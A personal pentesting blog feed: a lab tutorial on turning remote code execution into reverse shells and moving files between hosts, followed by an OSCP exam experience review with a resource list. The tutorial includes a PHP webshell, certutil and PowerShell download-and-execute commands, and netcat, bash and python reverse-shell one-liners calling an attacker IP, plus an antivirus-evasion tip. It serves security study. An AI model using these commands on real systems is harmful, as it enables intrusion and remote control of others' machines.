<p>This is by no means an exhaustive list, but rather some of the methods I found myself using frequently during the PWK labs. I’ve set up a Windows and Linux host on my local network to demo some of the examples. The linux host is running Parrot OS and the Windows host is running Windows 10 with Windows Defender disabled. Both hosts will be serving a simple PHP webshell to allow for remote command execution. The name of the webshell is “cmd.php” with the following contents:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span> <span class="cp">?></span>
</code></pre></div></div>
<p>And I can serve the webshell by using the following command in the same directory: <code class="language-plaintext highlighter-rouge">php -S <host ip>:<port></code>.</p>
<ul>
<li>Kali Box: <code class="language-plaintext highlighter-rouge">192.168.142.132</code></li>
<li>Linux Host: <code class="language-plaintext highlighter-rouge">192.168.142.133</code></li>
<li>Windows Host: <code class="language-plaintext highlighter-rouge">192.168.142.134</code></li>
</ul>
<p>I will be using <a href="https://ss64.com/bash/curl.html">curl</a> to interact with the webshells. I can get code execution on each server by passing my commands to the “cmd” parameter as either a GET or POST request. For GET requests, the query string (“cmd”) is passed in the url of the request while POST requests contain all of their data in the body of the request.</p>
<p>Sending a GET request to the Linux server from kali:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali@kali:$ curl -X GET "http://192.168.142.133/cmd.php?cmd=id"
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div></div>
<p>Sending a POST request to the Windows server:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kali@kali:$ curl -X POST "http://192.168.142.134/cmd.php" --data "cmd=ipconfig"
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::f451:2b31:b6bb:74d0%14
IPv4 Address. . . . . . . . . . . : 192.168.142.134
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
</code></pre></div></div>
<p>Because I’m lazy and don’t want to worry about having to manually URL-encode each special character for each request, I’ll be sending all of my commands as a POST request with the <code class="language-plaintext highlighter-rouge">--data-urlencode</code> parameter.</p>
<h1 id="file-transfers">FILE TRANSFERS</h1>
<hr />
<p>We’ll start by looking at ways to transfer files from Kali to the remote hosts with HTTP, SMB, Netcat, and FTP.</p>
<h1 id="http">HTTP</h1>
<p>My go-to method for file transfers is HTTP. It’s so easy to spin up an HTTP server in python and download the files to the target.</p>
<p>HTTP server in python 2:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-m</span> SimpleHTTPServer <port>
</code></pre></div></div>
<p>HTTP server in python 3:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-m</span> http.server <port>
</code></pre></div></div>
<p>There’s also a great tool called <a href="https://github.com/sc0tfree/updog">updog</a> that adds more functionality to the SimpleHTTPServer module. Updog allows for SSL encryption and basic HTTP authentication on the python server.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>updog <span class="nt">-d</span> <directory> <span class="nt">-p</span> <port>
</code></pre></div></div>
<p>Downloading files on Linux is typically simple with <code class="language-plaintext highlighter-rouge">wget</code>. So copying a privilege escalation script to the <code class="language-plaintext highlighter-rouge">/tmp</code> directory would look like this:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"http://192.168.142.133/cmd.php"</span> <span class="nt">--data-urlencode</span> <span class="s2">"cmd=wget http://192.168.142.132/linpeas.sh /tmp/linpeas.sh"</span>
</code></pre></div></div>
<p>We can also use curl to transfer scripts by reading the contents of the file and writing the output to a file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"http://192.168.142.133/cmd.php"</span> <span class="nt">--data-urlencode</span> <span class="s2">"cmd=curl http://192.168.142.132/linpeas.sh --output /tmp/script.sh"</span>
</code></pre></div></div>
<p>Downloading files on windows isn’t as easy as using <code class="language-plaintext highlighter-rouge">wget</code>, but there are some native binaries that can get the job done.</p>
<p><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil">Certutil.exe</a> is a binary designed to interact with certificate authorities, but can be abused for file transfers.</p>
<p>Here is the syntax:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certutil.exe -urlcache -split -f <url of file> <location to save file>
</code></pre></div></div>
<p>Downloading a netcat binary to the Windows host:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">curl</span><span class="w"> </span><span class="s2">"http://192.168.142.134/cmd.php"</span><span class="w"> </span><span class="nt">--data-urlencode</span><span class="w"> </span><span class="s2">"cmd=certutil.exe -urlcache -split -f http://192.168.142.132/nc.exe C:\windows\temp\nc.exe"</span><span class="w">
</span></code></pre></div></div>
<p>You should see a similar output if the command executed successfully:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>**** Online ****
0000 ...
e800
CertUtil: -URLCache command completed successfully.
</code></pre></div></div>
<p><img src="/images/certutil_transfer.gif" class="center-image" /></p>
<p>You can also save files from cmd with the <code class="language-plaintext highlighter-rouge">bitsadmin</code> binary:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">bitsadmin</span><span class="w"> </span><span class="nx">/transfer</span><span class="w"> </span><span class="nx">MyDownloadJob</span><span class="w"> </span><span class="nx">/download</span><span class="w"> </span><span class="nx">/priority</span><span class="w"> </span><span class="nx">normal</span><span class="w"> </span><span class="err"><</span><span class="nx">url</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">file</span><span class="err">></span><span class="w"> </span><span class="err"><</span><span class="nx">location</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">save</span><span class="w"> </span><span class="nx">file</span><span class="err">></span><span class="w">
</span></code></pre></div></div>
<p>There is an active project called <a href="https://lolbas-project.github.io/#">Living Off The Land Binaries and Script (LOLBAS)</a> that aims to catalog the functionality of each native Windows binary.</p>
<p>If you have PowerShell available, it’s even easier. Powershell has a built-in <code class="language-plaintext highlighter-rouge">Invoke-WebRequest</code> cmdlet to download files via http.</p>
<p>Syntax:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="err"><</span><span class="nx">url</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">file</span><span class="err">></span><span class="w"> </span><span class="nt">-OutFile</span><span class="w"> </span><span class="err"><</span><span class="nx">output</span><span class="w"> </span><span class="nx">file</span><span class="err">></span><span class="w">
</span></code></pre></div></div>
<p>Downloading a file to the Windows box:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">curl</span><span class="w"> </span><span class="s2">"http://192.168.142.134/cmd.php"</span><span class="w"> </span><span class="nt">--data-urlencode</span><span class="w"> </span><span class="s2">"cmd=powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://192.168.142.132/nc.exe -OutFile C:\windows\temp\nc.exe"</span><span class="w">
</span></code></pre></div></div>
<p>PowerShell also has <code class="language-plaintext highlighter-rouge">Invoke-Expression</code> which will download and execute remote strings.</p>
<p>Here is a one liner to download and execute a <a href="https://github.com/samratashok/nishang">nishang reverse shell script</a>:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>powershell.exe <span class="nt">-ExecutionPolicy</span> bypass <span class="nt">-Command</span> IEX <span class="o">(</span>New-Object Net.WebClient<span class="o">)</span>.DownloadString<span class="o">(</span><span class="s1">'<url of file>'</span><span class="o">)</span><span class="p">;</span> Invoke-PowerShellTcp <span class="nt">-Reverse</span> <span class="nt">-IPAddress</span> <RHOST> <span class="nt">-Port</span> <RPORT>
</code></pre></div></div>
<p>Let’s break down what’s happening with this command:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">powershell.exe</code>: Starts powershell because we are currently in cmd</li>
<li><code class="language-plaintext highlighter-rouge">-ExecutionPolicy bypass</code>: Sets the execution policy to “bypass” and allows unsigned remote scripts to run on the system</li>
<li><code class="language-plaintext highlighter-rouge">-Command</code>: Command to be executed</li>
<li><code class="language-plaintext highlighter-rouge">IEX</code>: This is an alias for Invoke-Expression. Invoke-Expression runs a given string as a command and returns the results.</li>
<li><code class="language-plaintext highlighter-rouge">New-Object Net.WebClient</code>: Creates a webclient .NET object - <a href="https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netcore-3.1">Read more here</a></li>
<li><code class="language-plaintext highlighter-rouge">DownloadString</code>: Downloads the string to be executed by Invoke-Expression</li>
<li><code class="language-plaintext highlighter-rouge">Invoke-PowerShellTcp</code>: This is the name of the reverse shell function within the downloaded script. Changing the name of this function is sometimes sufficient enough to bypass AV if you are being blocked - you can read more about that <a href="https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/">here</a>.</li>
</ul>
<p>So executing this against our Windows host would look like this:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="s2">"http://192.168.142.134/cmd.php"</span> <span class="nt">--data-urlencode</span> <span class="s2">"cmd=powershell.exe -ExecutionPolicy bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://192.168.142.132/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.142.132 -Port 443"</span>
</code></pre></div></div>
<p><img src="/images/NishangReverseShell.gif" class="center-image" /></p>
<h1 id="smb">SMB</h1>
<p>SMB is my favorite way to share files with Windows hosts. To do so, I create an <a href="https://github.com/SecureAuthCorp/impacket">impacket</a> smb server.</p>
<p>I’ll create the server with this command:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>impacket-smbserver <span class="nt">-smb2support</span> <share name> <directory to serve>
</code></pre></div></div>
<p>And this is the syntax for copying a file from an SMB share on Windows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>copy \\<RHOST>\share\<file name> <copy destination>
</code></pre></div></div>
<p>So this is what it would look like to copy over a netcat binary to the target machine:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl "http://192.168.142.134/cmd.php" --data-urlencode "cmd=copy \\\192.168.142.132\\share\\nc.exe C:\windows\temp\nc.exe"
</code></pre></div></div>
<p><img src="/images/SMB_COPY.gif" class="center-image" /></p>
<h1 id="netcat">NETCAT</h1>
<p>Occasionally I find myself using netcat to share files between hosts.</p>
<p>Sending the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-w</span> 3 <remote host> 1234 < <file name>
</code></pre></div></div>
<p>Receiving the file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lp</span> <port> <span class="o">></span> <file name>
</code></pre></div></div>
<p>Although I rarely find myself using these, you can transfer files with <a href="https://knplabs.com/en/blog/share-files-on-the-local-network-with-socat">socat</a> and <a href="https://github.com/besimorhino/powercat">powercat</a>.</p>
<h1 id="ftp">FTP</h1>
<p>FTP file transfers are a piece of cake with the python <a href="https://github.com/giampaolo/pyftpdlib">pyftpdlib</a> module. You can install the library with <code class="language-plaintext highlighter-rouge">pip install pyftpdlib</code>.</p>
<p>Once installed, you can start the server with the following command:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-m</span> pyftpdlib
</code></pre></div></div>
<p>If everything is working correctly you should see a similar output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[I 2020-09-17 13:13:38] concurrency model: async
[I 2020-09-17 13:13:38] masquerade (NAT) address: None
[I 2020-09-17 13:13:38] passive ports: None
[I 2020-09-17 13:13:38] >>> starting FTP server on 0.0.0.0:2121, pid=13448 <<<
</code></pre></div></div>
<p>The ftp server is now accessible from your remote host on port 2121.</p>
<h1 id="reverse-shells">REVERSE SHELLS</h1>
<hr />
<p>There are many <a href="https://www.metahackers.pro/reverse-shells-101/">guides</a> and <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">cheatsheets</a> when it comes to reverse shells, so I won’t dive too deep into the subject. I like to use an online note taking platform called <a href="https://pentest.ws/">pentest.ws</a> to store all of the reverse shell scripts and one-liners that I’ve collected. Pentest.ws is great because it will auto-fill the reverse shell one-liners with your current IP address and listening port.</p>
<p><img src="/images/PentestWS.png" class="center-image" /></p>
<p>Check out <a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payload All The Things</a> for more reverse shell scripts and one-liners.</p>
<h1 id="linux">LINUX</h1>
<p>Upon getting code execution on a Linux host, I consult pentest.ws to see if any of the premade will shells work.</p>
<p>More times than not, I find myself using this netcat one liner:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <RHOST> <RPORT> >/tmp/f
</code></pre></div></div>
<p><img src="/images/netcat_shell_linux.gif" class="center-image" /></p>
<p>If that doesn’t work, then I’ll try a bash one-liner:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash -i >& /dev/tcp/<RHOST>/<RPORT> 0>&1
</code></pre></div></div>
<p>or a python one-liner:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<RHOST>",<RPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
</code></pre></div></div>
<p>And if the target is a web server, getting a shell can be as simple as uploading a <a href="https://github.com/pentestmonkey/php-reverse-shell">php reverse shell script.</a></p>
<h1 id="windows">WINDOWS</h1>
<p>Upon getting code execution on a Windows host, I like to try the nishang reverse shell mentioned earlier. If I don’t have access to powershell or can’t get the script to execute, then I will try using a netcat binary to get a cmd reverse shell. Kali comes with a Windows netcat binary located at <code class="language-plaintext highlighter-rouge">/usr/share/windows-resources/binaries/nc.exe</code>.</p>
<p>You can copy the file over and execute it from the remote machine or directly from an SMB share:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\<RHOST>\share\nc.exe <RHOST> <RPORT> -e cmd
</code></pre></div></div>
<p><img src="/images/SMB_shell.gif" class="center-image" /></p>
<h1 id="conclusion">CONCLUSION</h1>
<hr />
<p>That’s it. Those are techniques I use to spawn reverse shells and move my scripts from host to host.</p>
<p>Feel free to reach out to me <a href="https://twitter.com/Bad_Jubies">on Twitter</a> if you have any questions or want to share your favorite pentesting tricks.</p>In this blog post I’ll be sharing some of the techniques I learned during my OSCP studies to go from remote code execution to a reverse shell as well as ways to transfer files to remote hosts.OSCP Review2020-09-08T00:00:00+00:002020-09-08T00:00:00+00:00http://bad-jubies.github.io/OSCP-Review<p>In this post I will outline my experience with <a href="https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf">Offensive Security’s PWK (Penetration Testing with Kali Linux)</a> course and the accompanying <a href="https://support.offensive-security.com/oscp-exam-guide/">OSCP (Offensive Security Certified Professional) exam</a>.</p>
<p><img src="/images/Group-175@2x.png" class="center-image" style="width:200px;" /></p>
<h2 id="my-background-and-preparation">MY BACKGROUND AND PREPARATION</h2>
<p>Before enrolling in the PWK course I was working IT helpdesk (answering phones, making tickets, etc …). I had earned my CompTIA A+ and Network+ Certifications in 2019 and was looking to earn my Security+ to complete the trifecta. While researching Security+ in January 2020, I discovered the fabled OSCP exam on some reddit threads. OSCP sounded way more interesting than Security+ - so I decided to give it a shot. I downloaded the official Kali Image, signed up for HackTheBox, and started binging Ippsec videos on youtube. I went through about 20 Ippsec videos prior to signing up for PWK.</p>
<p>Offensive Security lists the following as course <a href="https://www.offensive-security.com/pwk-oscp/">prerequisites</a>: solid understanding of TCP/IP networking, reasonable Windows and Linux administration experience, familiarity of Bash, and scripting with basic Python or Perl. I did not have any linux experience prior to my first Kali install. I also did not have any bash/scripting experience. This definitely put me at a disadvantage during the course because I was continuously researching bash/python syntax while running exploits. If you are not on a time crunch, I would recommend taking a short python course and reading the linux man pages.</p>
<h2 id="pwk-labs">PWK LABS</h2>
<p>I signed up for PWK in February and started the course mid-march with 90 days of lab access. It took me about 60 days to get through the monstrous 850+ page PDF. At the end of the 90 days I had root/admin on 25 machines with a user shell on an additional 6.</p>
<p>The PWK course material was phenomenal. I found a lot of value in watching the videos first while reading the corresponding section in the PDF at the end of each video. The content in the videos and PDF is not always the same for each module. My biggest piece of advice is to take your time. Some people recommend blazing through the material in a week or two and spending the rest of your time in the labs. This may be a good approach if you have some penetration testing experience. If you’re new like me, I suggest going slowly through all of the videos and PDF to make sure that you fully understand the material before dedicating a lot of time to the labs.</p>
<h2 id="the-exam">THE EXAM</h2>
<p>The OSCP exam is a scary, exciting, and tiresome marathon. You are given a 24 hour VPN connection to 5 machines with varying point values. The objective is to obtain user and root flags on each of the machines. <a href="https://www.offensive-security.com/offsec/pwk-oscp-faq/">You need 70 points to pass the exam.</a> I attempted the exam on June 12th at 9:00 AM. I scored 35 points from 2 machines within the first couple of hours, but struggled to find the correct exploitation paths on the remaining servers over the next 10+ hours. I ultimately ended my exam with about 60 points - not enough to pass. The hardest part about the exam is the rabbit holes. The exam machines are designed to deceive. There were some exploitation paths that looked very promising to me, but only led to dead ends. The reason I failed was because I became hyper-focused on the dead ends rather than taking a step back to reevaluate my options.</p>
<p>With one exam attempt behind me, I immediately scheduled my next attempt for July 17th at 8:00 PM. I focused entirely on improving my enumeration in the month leading up to the second attempt. I completed an additional 35 retired HackTheBox machines and intensely studied <a href="https://ippsec.rocks/?#">Ippsec</a> and <a href="https://0xdf.gitlab.io/">0xdf’s</a> enumeration methodologies. The night of exam I made a big ole pot of coffee, connected to the vpn, greeted the proctors, and started hacking away. This time I was able to quickly identify the truly vulnerable services and applications on most of the machines. After 2 hours I once again had 35 points. Another 5 hours later and I was back to roughly 60 points. At this point I was sitting on two low privileged shells. All I had to do was escalate my privileges and claim my certification. I decided to sleep for a few hours and approach privesc with a fresh perspective. After arriving back to the terminal, I elevated both shells in under 2 hours. Knowing that I had enough points to pass, I relaxed and focused on writing clear and concise documentation paired with screenshots for each machine. When the VPN connection closed I had rooted 4 boxes. I took another short nap and completed my report.</p>
<p>After 3 days (which felt like an eternity) I received this glorious email:
<img src="/images/PassedOSCP.jpg" class="center-image" /></p>
<h2 id="the-future">THE FUTURE</h2>
<p>Earning my OSCP designation was a bitter sweet moment. I feel validated knowing that I have the technical know-how to pass the exam, but I miss the grind of chasing the certification. I still feel like a complete noob.</p>
<p>I have recently started a desktop support role, but intend on continuing my infosec education. My goal for the remainder of 2020 is to learn more about web exploit development and earn my OSWE certification. I signed up to start Offensive Security’s AWAE course in October and hope to be ready for the OSWE exam by December.</p>
<h2 id="resources">RESOURCES</h2>
<p>Feel free to reach out to me <a href="https://twitter.com/Bad_Jubies">on Twitter</a> if you have any questions :)</p>
<p>These are some of the resources that I referenced during my OSCP studies:</p>
<table class="mbtablestyle">
<thead>
<tr>
<th style="text-align: center">Name</th>
<th style="text-align: center">Type</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center"><a href="https://github.com/Ignitetechnologies/Privilege-Escalation">Vulnhub Privesc Guide</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Pentest Monkey Reverse Shells</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://sushant747.gitbooks.io/total-oscp-guide/content/">Total OSCP Guide</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite">winPEAS/linPEAS</a></td>
<td style="text-align: center">Script</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/justinsteven/dostackbufferoverflowgood/blob/master/dostackbufferoverflowgood_tutorial.pdf">Do Stack Buffer Overflow Good</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/theonlykernel/enumeration/wiki">Enumeration Guide</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.exploit-db.com/papers/12975">Full MSSQL Injection PWNage</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/">Linux Privilege Escalation w/ SUID Binaries</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/Tib3rius/AutoRecon">Autorecon</a></td>
<td style="text-align: center">Script</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/21y4d/Notes/blob/master/Pivoting.txt">Pivoting</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://gtfobins.github.io/">GTFO Bins (Linux Binaries)</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://lolbas-project.github.io/#">LOLBAS (Windows Binaries)</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/xmendez/wfuzz">WFUZZ - Webapp Fuzzer</a></td>
<td style="text-align: center">Script</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/peanuthacker92/oscp-command-filtering-tool">OSCP Command Filtering Tool</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/samratashok/nishang">Nishang Reverse Shells</a></td>
<td style="text-align: center">Script</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt">Unix Wildcard Exploitation</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://medium.com/@ranakhalil101">Rana Khalil HTB (metasploit free) Writeups</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://0xdf.gitlab.io/">0xdf Writeups</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://ippsec.rocks/?#">Ippsec Videos</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">NetSecFocus/TJ_NULL OSCP-like boxes</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/">SQLi Auth Bypass</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://h4cklife.org/posts/a-pre-exam-for-future-oscp-students/">OSCP Practice Exam</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master">Payload All The Things</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://pentest.ws/">Pentest.ws</a></td>
<td style="text-align: center">Cheat Sheet/Notetaking</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://github.com/tjnull/TJ-JPT">TJ_NULL OSCP Joplin Reporting Template</a></td>
<td style="text-align: center">Notetaking/Reporting</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://nostarch.com/pentesting">Penetration Testing: Hands on Introduction</a></td>
<td style="text-align: center">Book</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw">John Hammond</a></td>
<td style="text-align: center">CTF Guides</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.udemy.com/course/linux-privilege-escalation/">Linux Privilege Escalation</a></td>
<td style="text-align: center">Udemy Course</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.udemy.com/course/windows-privilege-escalation/">Windows Privilege Escalation</a></td>
<td style="text-align: center">Udemy Course</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.fuzzysecurity.com/tutorials/16.html">Fuzzy Security - Windows Privesc</a></td>
<td style="text-align: center">Guide/Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">g0tmi1k - Linux Privesc</a></td>
<td style="text-align: center">Guide/Cheat Sheet</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.udemy.com/course/complete-python-bootcamp/">Python Bootcamp</a></td>
<td style="text-align: center">Udemy Course</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.kali.org/download-kali-linux-revealed-book/">Kali Linux Revealed</a></td>
<td style="text-align: center">Book (Free PDF)</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://nostarch.com/tlcl2">The Linux Command Line</a></td>
<td style="text-align: center">Book</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://discord.com/invite/mEtEFhp">Infosec Prep Discord</a></td>
<td style="text-align: center">Discord Server</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://portswigger.net/web-security">PortSwigger Web Academy</a></td>
<td style="text-align: center">Guide</td>
</tr>
<tr>
<td style="text-align: center"><a href="https://www.kernel.org/doc/man-pages/">Linux Man Pages</a></td>
<td style="text-align: center">Cheat Sheet</td>
</tr>
</tbody>
</table>In this post I will outline my experience with Offensive Security’s PWK (Penetration Testing with Kali Linux) course and the accompanying OSCP (Offensive Security Certified Professional) exam.